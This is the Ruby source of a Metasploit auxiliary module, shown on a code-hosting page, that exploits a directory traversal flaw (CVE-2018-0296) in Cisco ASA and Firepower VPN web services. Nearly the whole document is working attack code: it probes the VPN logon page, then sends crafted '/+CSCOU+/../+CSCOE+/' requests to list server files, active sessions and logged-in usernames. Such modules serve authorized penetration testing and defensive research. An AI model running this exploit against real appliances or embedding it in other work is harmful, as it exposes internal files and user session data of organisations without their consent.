Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_directory_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(update_info(info,11'Name' => 'Cisco ASA Directory Traversal',12'Description' => %q{13This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software.14It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users.15},16'Author' => [ 'Michał Bentkowski', # Discovery17'Yassine Aboukir', # PoC18'Shelby Pace' # Metasploit Module19],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2018-0296' ],23[ 'EDB', '44956' ]24],25'DisclosureDate' => '2018-06-06'26))2728register_options(29[30OptString.new('TARGETURI', [ true, 'Path to Cisco installation', '/' ]),31OptBool.new('SSL', [ true, 'Use SSL', true ]),32Opt::RPORT(443)33])34end3536def is_accessible?37uri = normalize_uri(target_uri.path, '+CSCOE+/logon.html')3839res = send_request_cgi(40'method' => 'GET',41'uri' => uri42)4344return (res && (res.body.include?("SSL VPN Service") || res.body.include?("+CSCOE+") || res.body.include?("+webvpn+") || res.body.include?("webvpnlogin")))45end4647def list_files(path)48uri = normalize_uri(target_uri.path, path)4950list_res = send_request_cgi(51'method' => 'GET',52'uri' => uri53)5455if list_res && list_res.code == 20056if list_res.body.match(/\/{3}sessions/)57get_sessions(list_res.body)58else59print_good(list_res.body)60end61end62end6364def get_sessions(response)65session_nos = response.scan(/([0-9]{2,})/)6667if session_nos.empty?68print_status("Could not detect any sessions")69print("\n")70return71end7273print_good(response)74list_users(session_nos)75end7677def list_users(sessions)78sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'79user_ids = Array.new8081sessions.each do |session_no|82users_res = send_request_cgi(83'method' => 'GET',84'uri' => normalize_uri(target_uri.path, sessions_uri, session_no)85)8687if users_res && users_res.body.include?('name')88user_ids.push(users_res.body.match(/user:(\w+)/).to_s)89end90end9192unless user_ids.empty?93print_status('Users logged in:')94user_ids.each { |id| print_good(id) }95print("\n")96return97end9899print_status("There are no users logged in currently")100end101102def run103file_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'104sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'105cscoe_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'106107paths = [file_uri, sessions_uri, cscoe_uri]108109unless is_accessible?110fail_with(Failure::NotFound, 'Failed to reach Cisco web logon service')111end112113paths.each { |path| list_files(path) }114end115end116117118